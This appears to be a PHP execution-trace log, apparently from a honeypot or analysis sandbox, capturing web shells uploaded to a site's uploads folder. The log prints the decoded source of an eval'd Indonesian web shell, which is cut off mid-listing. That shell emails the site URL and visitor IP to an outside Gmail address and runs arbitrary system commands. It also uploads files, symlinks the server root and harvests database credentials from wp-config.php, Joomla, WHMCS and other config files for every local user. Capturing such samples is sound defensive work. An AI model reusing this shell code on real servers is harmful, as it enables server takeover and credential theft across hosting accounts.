3	29	0	0.004346	709264	is_writable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	739	1	'/var/www/html/uploads/data'
3	29	1	0.004364	709304
3	29	R			TRUE
3	30	0	0.004378	709264	perms	1		/var/www/html/uploads/titit.php(89) : eval()'d code	741	1	'/var/www/html/uploads/data'
4	31	0	0.004392	709264	fileperms	0		/var/www/html/uploads/titit.php(89) : eval()'d code	803	1	'/var/www/html/uploads/data'
4	31	1	0.004405	709304
4	31	R			16895
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	803	$perms = 16895
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	819	$info = 'd'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	832	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	833	$info .= 'w'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	836	$info .= 'x'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	839	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	840	$info .= 'w'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	843	$info .= 'x'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	846	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	847	$info .= 'w'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	850	$info .= 'x'
3	30	1	0.004534	709304
3	30	R			'drwxrwxrwx'
3	32	0	0.004548	709264	is_writable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	742	1	'/var/www/html/uploads/data'
3	32	1	0.004565	709304
3	32	R			TRUE
3	33	0	0.004584	709240	is_dir	0		/var/www/html/uploads/titit.php(89) : eval()'d code	733	1	'/var/www/html/uploads/prepend.php'
3	33	1	0.004601	709288
3	33	R			FALSE
3	34	0	0.004615	709240	is_dir	0		/var/www/html/uploads/titit.php(89) : eval()'d code	733	1	'/var/www/html/uploads/titit.php'
3	34	1	0.004630	709272
3	34	R			FALSE
3	35	0	0.004645	709224	is_file	0		/var/www/html/uploads/titit.php(89) : eval()'d code	761	1	'/var/www/html/uploads/.'
3	35	1	0.004660	709256
3	35	R			FALSE
3	36	0	0.004674	709224	is_file	0		/var/www/html/uploads/titit.php(89) : eval()'d code	761	1	'/var/www/html/uploads/..'
3	36	1	0.004688	709272
3	36	R			FALSE
3	37	0	0.004702	709232	is_file	0		/var/www/html/uploads/titit.php(89) : eval()'d code	761	1	'/var/www/html/uploads/.htaccess'
3	37	1	0.004717	709272
3	37	R			TRUE
3	38	0	0.004730	709232	filesize	0		/var/www/html/uploads/titit.php(89) : eval()'d code	762	1	'/var/www/html/uploads/.htaccess'
3	38	1	0.004753	709272
3	38	R			64
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	762	$size = 0.0625
3	39	0	0.004779	709176	round	0		/var/www/html/uploads/titit.php(89) : eval()'d code	763	2	0.0625	3
3	39	1	0.004794	709248
3	39	R			0.063
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	763	$size = 0.063
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	767	$size = '0.063 KB'
3	40	0	0.004832	709272	is_writable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	775	1	'/var/www/html/uploads/.htaccess'
3	40	1	0.004849	709312
3	40	R			FALSE
3	41	0	0.004866	709272	is_readable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	776	1	'/var/www/html/uploads/.htaccess'
3	41	1	0.004882	709312
3	41	R			TRUE
3	42	0	0.004895	709272	perms	1		/var/www/html/uploads/titit.php(89) : eval()'d code	777	1	'/var/www/html/uploads/.htaccess'
4	43	0	0.004909	709272	fileperms	0		/var/www/html/uploads/titit.php(89) : eval()'d code	803	1	'/var/www/html/uploads/.htaccess'
4	43	1	0.004922	709312
4	43	R			33188
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	803	$perms = 33188
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	813	$info = '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	832	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	833	$info .= 'w'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	836	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	839	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	840	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	843	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	846	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	847	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	850	$info .= '-'
3	42	1	0.005055	709312
3	42	R			'-rw-r--r--'
3	44	0	0.005070	709272	is_writable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	778	1	'/var/www/html/uploads/.htaccess'
3	44	1	0.005087	709312
3	44	R			FALSE
3	45	0	0.005101	709272	is_readable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	778	1	'/var/www/html/uploads/.htaccess'
3	45	1	0.005117	709312
3	45	R			TRUE
3	46	0	0.005131	709272	is_file	0		/var/www/html/uploads/titit.php(89) : eval()'d code	761	1	'/var/www/html/uploads/data'
3	46	1	0.005147	709312
3	46	R			FALSE
3	47	0	0.005161	709280	is_file	0		/var/www/html/uploads/titit.php(89) : eval()'d code	761	1	'/var/www/html/uploads/prepend.php'
3	47	1	0.005177	709328
3	47	R			TRUE
3	48	0	0.005190	709288	filesize	0		/var/www/html/uploads/titit.php(89) : eval()'d code	762	1	'/var/www/html/uploads/prepend.php'
3	48	1	0.005204	709328
3	48	R			57
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	762	$size = 0.0556640625
3	49	0	0.005229	709184	round	0		/var/www/html/uploads/titit.php(89) : eval()'d code	763	2	0.0556640625	3
3	49	1	0.005253	709256
3	49	R			0.056
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	763	$size = 0.056
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	767	$size = '0.056 KB'
3	50	0	0.005292	709288	is_writable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	775	1	'/var/www/html/uploads/prepend.php'
3	50	1	0.005310	709328
3	50	R			FALSE
3	51	0	0.005323	709288	is_readable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	776	1	'/var/www/html/uploads/prepend.php'
3	51	1	0.005339	709328
3	51	R			TRUE
3	52	0	0.005352	709288	perms	1		/var/www/html/uploads/titit.php(89) : eval()'d code	777	1	'/var/www/html/uploads/prepend.php'
4	53	0	0.005366	709288	fileperms	0		/var/www/html/uploads/titit.php(89) : eval()'d code	803	1	'/var/www/html/uploads/prepend.php'
4	53	1	0.005380	709328
4	53	R			33261
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	803	$perms = 33261
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	813	$info = '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	832	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	833	$info .= 'w'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	836	$info .= 'x'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	839	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	840	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	843	$info .= 'x'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	846	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	847	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	850	$info .= 'x'
3	52	1	0.005507	709328
3	52	R			'-rwxr-xr-x'
3	54	0	0.005521	709288	is_writable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	778	1	'/var/www/html/uploads/prepend.php'
3	54	1	0.005542	709328
3	54	R			FALSE
3	55	0	0.005556	709288	is_readable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	778	1	'/var/www/html/uploads/prepend.php'
3	55	1	0.005573	709328
3	55	R			TRUE
3	56	0	0.005586	709280	is_file	0		/var/www/html/uploads/titit.php(89) : eval()'d code	761	1	'/var/www/html/uploads/titit.php'
3	56	1	0.005602	709312
3	56	R			TRUE
3	57	0	0.005615	709272	filesize	0		/var/www/html/uploads/titit.php(89) : eval()'d code	762	1	'/var/www/html/uploads/titit.php'
3	57	1	0.005629	709312
3	57	R			54046
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	762	$size = 52.779296875
3	58	0	0.005654	709176	round	0		/var/www/html/uploads/titit.php(89) : eval()'d code	763	2	52.779296875	3
3	58	1	0.005668	709248
3	58	R			52.779
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	763	$size = 52.779
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	767	$size = '52.779 KB'
3	59	0	0.005799	709272	is_writable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	775	1	'/var/www/html/uploads/titit.php'
3	59	1	0.005818	709312
3	59	R			FALSE
3	60	0	0.005831	709272	is_readable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	776	1	'/var/www/html/uploads/titit.php'
3	60	1	0.005847	709312
3	60	R			TRUE
3	61	0	0.005861	709272	perms	1		/var/www/html/uploads/titit.php(89) : eval()'d code	777	1	'/var/www/html/uploads/titit.php'
4	62	0	0.005874	709272	fileperms	0		/var/www/html/uploads/titit.php(89) : eval()'d code	803	1	'/var/www/html/uploads/titit.php'
4	62	1	0.005888	709312
4	62	R			33204
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	803	$perms = 33204
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	813	$info = '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	832	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	833	$info .= 'w'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	836	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	839	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	840	$info .= 'w'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	843	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	846	$info .= 'r'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	847	$info .= '-'
3		A						/var/www/html/uploads/titit.php(89) : eval()'d code	850	$info .= '-'
3	61	1	0.006014	709312
3	61	R			'-rw-rw-r--'
3	63	0	0.006029	709272	is_writable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	778	1	'/var/www/html/uploads/titit.php'
3	63	1	0.006048	709312
3	63	R			FALSE
3	64	0	0.006062	709272	is_readable	0		/var/www/html/uploads/titit.php(89) : eval()'d code	778	1	'/var/www/html/uploads/titit.php'
3	64	1	0.006099	709312
3	64	R			TRUE
2	5	1	0.006117	709216
1	3	1	0.006150	518496
			0.006185	436216
TRACE END   [2023-02-12 20:21:07.295885]

data/traces/b6f9684acc7268ddf4627e64460bb302_trace-1676243834.6603.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:17:40.558155]
1	0	1	0.000147	393528
1	3	0	0.000338	448816	{main}	1		/var/www/html/uploads/Shell2.php	0	0
1		A						/var/www/html/uploads/Shell2.php	88	$code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFp'
2	4	0	0.000417	448816	base64_decode	0		/var/www/html/uploads/Shell2.php	89	1	'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFp'
2	4	1	0.000598	502096
2	4	R			'@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'memory_limit\', \'64M\');\r\nheader(\'Content-Type: text/html; charset=UTF-8\');\r\n$tujuanmail = \'satyaaji1945@gmail.com\';\r\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\r\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\r\nset_time_limit(0);\r\n'
2	5	0	0.001622	707592	eval	1	'@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'memory_limit\', \'64M\');\r\nheader(\'Content-Type: text/html; charset=UTF-8\');\r\n$tujuanmail = \'satyaaji1945@gmail.com\';\r\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\r\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n\r\n//function\r\nfunction ambilKata($param, $kata1, $kata2){\r\n    if(strpos($param, $kata1) === FALSE) return FALSE;\r\n    if(strpos($param, $kata2) === FALSE) return FALSE;\r\n    $start = strpos($param, $kata1) + strlen($kata1);\r\n    $end = strpos($param, $kata2, $start);\r\n    $return = substr($param, $start, $end - $start);\r\n    return $return;\r\n}\r\nif(get_magic_quotes_gpc()) {\r\n    function idx_ss($array) {\r\nreturn is_array($array) ? array_map(\'idx_ss\', $array) : stripslashes($array);\r\n    }\r\n    $_POST = idx_ss($_POST);\r\n}\r\n\r\nfunction exe($cmd) {\r\n    if(function_exists(\'system\')) {        \r\n@ob_start();       \r\n@system($cmd);     \r\n$buff = @ob_get_contents();        \r\n@ob_end_clean();       \r\nreturn $buff;  \r\n    } elseif(function_exists(\'exec\')) {        \r\n@exec($cmd,$results);      \r\n$buff = "";        \r\nforeach($results as $result) {         \r\n    $buff .= $result;      \r\n} return $buff;    \r\n    } elseif(function_exists(\'passthru\')) {        \r\n@ob_start();       \r\n@passthru($cmd);       \r\n$buff = @ob_get_contents();        \r\n@ob_end_clean();       \r\nreturn $buff;  \r\n    } elseif(function_exists(\'shell_exec\')) {      \r\n$buff = @shell_exec($cmd);     \r\nreturn $buff;  \r\n    }\r\n}\r\n\r\n//check dir\r\n$nick = "k0v3T";\r\nif(isset($_GET[\'path\'])){\r\n$path = $_GET[\'path\'];\r\n}else{\r\n$path = getcwd();\r\n}\r\n$software = getenv("SERVER_SOFTWARE");\r\n$path = str_replace(\'\\\\\',\'/\',$path);\r\n$paths = explode(\'/\',$path);\r\n\r\n\r\n////////////////////////////////////////\r\n\r\nif(!function_exists(\'posix_getegid\')) {\r\n    $user = @get_current_user();\r\n    $uid = @getmyuid();\r\n    $gid = @getmygid();\r\n    $group = "?";\r\n} else {\r\n    $uid = @posix_getpwuid(posix_geteuid());\r\n    $gid = @posix_getgrgid(posix_getegid());\r\n    $user = $uid[\'name\'];\r\n    $uid = $uid[\'uid\'];\r\n    $group = $gid[\'name\'];\r\n    $gid = $gid[\'gid\'];\r\n} \r\n//uname\r\necho "<br><b><i><center><font color=#5ddcfc size=3>Current Dir : </font>";\r\nforeach($paths as $id=>$pat){\r\nif($pat == \'\' && $id == 0){\r\n$a = true;\r\necho \'<a href="?path=/">/</a>\';\r\ncontinue;\r\n}\r\nif($pat == \'\') continue;\r\necho \'<a href="?path=\';\r\nfor($i=0;$i<=$id;$i++){\r\necho "$paths[$i]";\r\nif($i != $id) echo "/";\r\n}\r\necho \'"><font color=red size=3>\'.$pat.\'</font></a>/\';\r\n}\r\n\r\n##TOOLBAR\r\necho "<hr color=#5ddcfc>\r\n<br><center>\r\n<font size=3><a href=\'?\' class=\'tombols\'>Home</a>\r\n<font size=3><a href=\'?path=$path&a=upload\' class=\'tombols\'>Upload</a>\r\n<font size=3><a href=\'?path=$path&a=cmd\' class=\'tombols\'>Command</a>\r\n<font size=3><a href=\'?path=$path&a=configv2\' class=\'tombols\'>Config</a>\r\n<font size=3><a href=\'?path=$path&a=jumping\' class=\'tombols\'>Jumping</a>\r\n<br><br>\r\n\r\n<font size=3><a href=\'?path=$path&a=symlink\' class=\'tombols\'>Symlink</a>\r\n<font size=3><a href=\'?path=$path&a=disablefunc\' class=\'tombols\'>Bypass Disable Function</a>\r\n\r\n</center></br>\r\n<hr color=#5ddcfc><center>";\r\n\r\n//uploads\r\nif($_GET[\'a\'] == \'upload\') {\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\r\necho \'<font color="#5ddcfc">Berhasil Upload gan!</font><br />\';\r\n}else{\r\necho \'<font color="red">Gagal Upload Gan</font><br />\';\r\n}\r\n}\r\necho \'<form enctype="multipart/form-data" method="POST"><font color="red" size="4">\r\nUpload File :<br><input type="file" name="file" />\r\n<input type="submit" value="Upload" />\r\n</form><br>\r\n</td></tr>\';\t\r\n\r\n\r\n} elseif($_GET[\'a\'] == \'configv2\') {\r\n\t\t\tif(strtolower(substr(PHP_OS, 0, 3)) == "win"){\r\necho \'<script>alert("Tidak bisa di gunakan di server windows")</script>\';\r\nexit;\r\n}\r\n\tif($_POST){\tif($_POST[\'config\'] == \'symvhosts\') {\r\n\t\t@mkdir("k0v3T_symvhosts", 0777);\r\nexe("ln -s / k0v3T_symvhosts/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";\r\n@file_put_contents("k0v3T_symvhosts/.htaccess",$htaccess);\r\n\t\t$etc_passwd=$_POST[\'passwd\'];\r\n    \r\n    $etc_passwd=explode("\\n",$etc_passwd);\r\nforeach($etc_passwd as $passwd){\r\n$pawd=explode(":",$passwd);\r\n$user =$pawd[5];\r\n$jembod = preg_replace(\'/\\/var\\/www\\/vhosts\\//\', \'\', $user);\r\nif (preg_match(\'/vhosts/i\',$user)){\r\nexe("ln -s ".$user."/httpdocs/wp-config.php k0v3T_symvhosts/".$jembod."-Wordpress.txt");\r\nexe("ln -s ".$user."/httpdocs/configuration.php k0v3T_symvhosts/".$jembod."-Joomla.txt");\r\nexe("ln -s ".$user."/httpdocs/config/koneksi.php k0v3T_symvhosts/".$jembod."-Lokomedia.txt");\r\nexe("ln -s ".$user."/httpdocs/forum/config.php k0v3T_symvhosts/".$jembod."-phpBB.txt");\r\nexe("ln -s ".$user."/httpdocs/sites/default/settings.php k0v3T_symvhosts/".$jembod."-Drupal.txt");\r\nexe("ln -s ".$user."/httpdocs/config/settings.inc.php k0v3T_symvhosts/".$jembod."-PrestaShop.txt");\r\nexe("ln -s ".$user."/httpdocs/app/etc/local.xml k0v3T_symvhosts/".$jembod."-Magento.txt");\r\nexe("ln -s ".$user."/httpdocs/admin/config.php k0v3T_symvhosts/".$jembod."-OpenCart.txt");\r\nexe("ln -s ".$user."/httpdocs/application/config/database.php k0v3T_symvhosts/".$jembod."-Ellislab.txt"); \r\n}}}\r\nif($_POST[\'config\'] == \'symlink\') {\r\n@mkdir("k0v3T_symconfig", 0777);\r\n@symlink("/","k0v3T_symconfig/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";\r\n@file_put_contents("k0v3T_symconfig/.htaccess",$htaccess);}\r\nif($_POST[\'config\'] == \'404\') {\r\n@mkdir("k0v3T_sym404", 0777);\r\n@symlink("/","k0v3T_sym404/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\r\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\r\nIndexIgnore *.txt404\r\nRewriteEngine On\r\nRewriteCond %{REQUEST_FILENAME} ^.*k0v3T_sym404 [NC]\r\nRewriteRule \\.txt$ %{REQUEST_URI}404 [L,R=302.NC]";\r\n@file_put_contents("k0v3T_sym404/.htaccess",$htaccess);\r\n}\r\nif($_POST[\'config\'] == \'grab\') {\r\n\t\t\t\t\t\tmkdir("k0v3T_configgrab", 0777);\r\n\t\t\t\t\t\t$isi_htc = "Options all\\nRequire None\\nSatisfy Any";\r\n\t\t\t\t\t\t$htc = fopen("k0v3T_configgrab/.htaccess","w");\r\n\t\t\t\t\t\tfwrite($htc, $isi_htc);\t\r\n}\r\n$passwd = $_POST[\'passwd\'];\r\n\r\npreg_match_all(\'/(.*?):x:/\', $passwd, $user_config);\r\nforeach($user_config[1] as $user_k0v3T) {\r\n$grab_config = array(\r\n"/home/$user_k0v3T/.accesshash" => "WHM-accesshash",\r\n"/home/$user_k0v3T/public_html/config/koneksi.php" => "Lokomedia",\r\n"/home/$user_k0v3T/public_html/forum/config.php" => "phpBB",\r\n"/home/$user_k0v3T/public_html/sites/default/settings.php" => "Drupal",\r\n"/home/$user_k0v3T/public_html/config/settings.inc.php" => "PrestaShop",\r\n"/home/$user_k0v3T/public_html/app/etc/local.xml" => "Magento",\r\n"/home/$user_k0v3T/public_html/admin/config.php" => "OpenCart",\r\n"/home/$user_k0v3T/public_html/application/config/database.php" => "Ellislab",\r\n"/home/$user_k0v3T/public_html/vb/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/forum/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/forums/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/cc/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/inc/config.php" => "MyBB",\r\n"/home/$user_k0v3T/public_html/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/shop/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/os/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/oscom/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/products/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/cart/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/inc/conf_global.php" => "IPB",\r\n"/home/$user_k0v3T/public_html/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wp/test/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/blog/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/beta/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/portal/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/site/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wp/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/WP/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/news/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wordpress/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/test/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/demo/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/home/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/v1/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/v2/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/press/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/new/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/blogs/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/blog/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/submitticket.php" => "^WHMCS",\r\n"/home/$user_k0v3T/public_html/cms/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/beta/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/portal/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/site/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/main/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/home/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/demo/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/test/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/v1/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/v2/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/joomla/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/new/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/WHMCS/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs1/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/WHMC/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whmc/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmc/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/WHM/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whm/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whm/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/HOST/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Host/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/host/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/SUPPORTES/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Supportes/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/supportes/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/domains/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/domain/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Hosting/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/HOSTING/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/hosting/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CART/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Cart/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/cart/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/ORDER/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Order/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/order/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Client/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/client/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENTAREA/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Clientarea/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/clientarea/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/SUPPORT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Support/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/support/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BILLING/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Billing/submitticket.php" => 